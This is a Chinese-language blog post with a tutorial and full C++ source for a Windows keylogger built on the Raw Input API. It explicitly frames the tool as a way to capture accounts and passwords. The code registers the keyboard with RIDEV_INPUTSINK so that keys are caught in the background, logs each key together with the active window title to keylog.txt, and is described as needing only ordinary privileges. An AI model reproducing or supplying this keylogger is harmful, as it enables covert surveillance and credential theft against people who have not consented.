posted at 2024.9.27 14:45 by Administrator
键盘按键记录,顾名思义,即程序在后台记录下用户在计算机上使用的所有按键信息,信息包括哪个时刻在哪个窗口按下哪个按键。可见这个功能对于Windows系统来说意义非凡。控制者可以根据记录的按键信息,分辨出哪些类似于账号、密码等关键数据,从而进行利用、获取信息。
在用户层上,实现键盘按键记录的方法也很多。常见的有三种方式,具体如下:
1、利用全局键盘钩子。程序设施全局键盘钩子,从而捕获按键信息进行记录。
2、利用GetAsyncKeyState函数。该函数可以判断按键状态,根据是否为按下状态来判断用户是否进行了按键操作,从而记录。
3、利用原始输入模型,直接从输入设备上获取数据,从而记录按键信息。
在上述三种实现方法中,利用原始输入模型获取按键记录的方法更为底层、有效,功能也更加强大。
一、利用原始输入模型获取按键记录的实现过程
要想接收设备原始输入WM_INPUT的消息,应用程序必须首先使用RegisterRawInputDevices注册原始输入设备。因为在默认情况下,应用程序不接受原始输入。所以利用原始输入模型实现按键记录程序大致可以分成三个部分:注册原始输入设备、获取原始输入信息、保存按键信息。接下来分别对这三个部分一一进行分析。
1.注册原始输入设备。
一个应用程序必须首先创建一个RAWINPUTDEVICE结构,这个结构指明他所希望接收设备的类别,再调用RegisterRawInputDevices注册原始输入设备。这样程序才能接收原始输入WM_INPUT的消息。
在注册原始输入设备时,TLC定义为RAWINPUTDEVICE结构体成员usUsagePage(设备类)和usUsage(设备类的具体设备)。例如,为了从键盘上获取原始输入,设置usUsagePage为1和usUsage为6。
其中。将RAWINPUTDEVICE结构体成员的值设置为RIDEV_INPUTSINK,这表示,即使程序不处于上层窗口或是激活窗口,程序依然可以接受原始输入,但是,结构体成员目标窗口的句柄hwndTarget必须要指定。在本节的演示程序中hwndTarget的句柄为当前演示程序的窗口句柄。所以,不管当前演示程序的窗口是否处于上层窗口或是激活窗口,程序依然可以接受原始输入。
在初始化RAWINPUTDEVICE结构体之后,直接调用RegisterRawInputDevices函数注册一个原始输入设备。
2.获取原始输入数据。
在注册完成原始输入设备之后,程序就可以捕获WM_INPUT设备的原始输入消息。这样,可以在WM_INPUT消息处理函数中调用GetInputRawData来获取设备原始数据。在WM_INPUT消息处理函数中,参数lParam存储着原始输入的句柄。此时可以直接调用GetInputRawData函数,根据句柄获取RAWINPUT原始输入结构体的数据。其中。dwType表示原始输入的类型,RIM_TYPEKEYBOARD表示是键盘的原始输入,Message表示相应的窗口消息,WM_KEYDOWN表示普通按键消息,WM_SYSKEYDOWN表示系统按键消息,VKey存储着键盘按键数据,这是一个虚拟键码。需要转换成ASCII码来保存。
3.保存按键信息。
程序将键盘虚拟键码与对应的ASCII码信息保存在头文件VirtualKeyToAscii.h中,这样直接调用自定义函数GetKeyName就可以实现虚拟键码与ASCII的转换。
除了获取按键信息外,程序和获取按键窗口标题的信息,帮助判断此时输入的是何种数据类型。通过GetForegroundWindow函数获取顶层窗口的句柄,然后调用GetWindowText函数,根据窗口句柄获取窗口的标题数据。最后,将上述信息存储在本地文件上。
二、按键记录仪代码(C++)
#include "RawInputTest.h"#include "VirtualKeyToAscii.h" void ShowError(char *pszText){char szErr[MAX_PATH] = { 0 };::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());::MessageBox(NULL, szErr, "ERROR", MB_OK);}// 注册原始输入设备BOOL Init(HWND hWnd){// 设置 RAWINPUTDEVICE 结构体信息RAWINPUTDEVICE rawinputDevice = { 0 };rawinputDevice.usUsagePage = 0x01;rawinputDevice.usUsage = 0x06;rawinputDevice.dwFlags = RIDEV_INPUTSINK;rawinputDevice.hwndTarget = hWnd;// 注册原始输入设备BOOL bRet = ::RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice));if (FALSE == bRet){ShowError("RegisterRawInputDevices");return FALSE;}return TRUE;}// 获取原始输入数据BOOL GetData(LPARAM lParam){RAWINPUT rawinputData = { 0 };UINT uiSize = sizeof(rawinputData); // 获取原始输入数据的大小::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &rawinputData, &uiSize, sizeof(RAWINPUTHEADER));if (RIM_TYPEKEYBOARD == rawinputData.header.dwType){// WM_KEYDOWN --> 普通按键 WM_SYSKEYDOWN --> 系统按键(指的是ALT) if ((WM_KEYDOWN == rawinputData.data.keyboard.Message) ||(WM_SYSKEYDOWN == rawinputData.data.keyboard.Message)){// 记录按键SaveKey(rawinputData.data.keyboard.VKey);}}return TRUE;}// 保存按键信息void SaveKey(USHORT usVKey){char szKey[MAX_PATH] = { 0 };char szTitle[MAX_PATH] = { 0 };char szText[MAX_PATH] = { 0 };FILE *fp = NULL;// 获取顶层窗口HWND hForegroundWnd = ::GetForegroundWindow();// 获取顶层窗口标题::GetWindowText(hForegroundWnd, szTitle, 256);// 将虚拟键码转换成对应的ASCII::lstrcpy(szKey, GetKeyName(usVKey));// 构造按键记录信息字符串::wsprintf(szText, "[%s] %s\r\n", szTitle, szKey);// 打开文件写入按键记录数据::fopen_s(&fp, "keylog.txt", "a+");if (NULL == fp){ShowError("fopen_s");return;}::fwrite(szText, (1 + ::lstrlen(szText)), 1, fp);::fclose(fp);}
三、测试效果
直接运行上述程序。记录用户按键,然后新建一个名为“999.txt”的文本文档,在文档中输入一段字母、数字、标点符号等进行测试。输入信息如图所示:
按键结束后,关闭txt文档,并打开生成的按键记录文件,查看按键记录信息。如图所示,程序成功的记录下了所有按键信息。
这个程序的功能比较强大。它的实现不难理解。而且程序只需要普通权限就可以获取系统进程的键盘按键记录。
在编程实现的过程中。程序必须先通过RegisterRawInputDevices函数注册原始输入设备,这样后面才能顺利接收WM_INPUT原始设备的输入信息。
957bc0ba-b253-4946-b775-23ae9b63ace3|0|.0|96d5b379-7e1d-4dac-a6ba-1e50db561b04
Tags: 程序, 代码, 方法, 类, 密码, 模, 数据
IT技术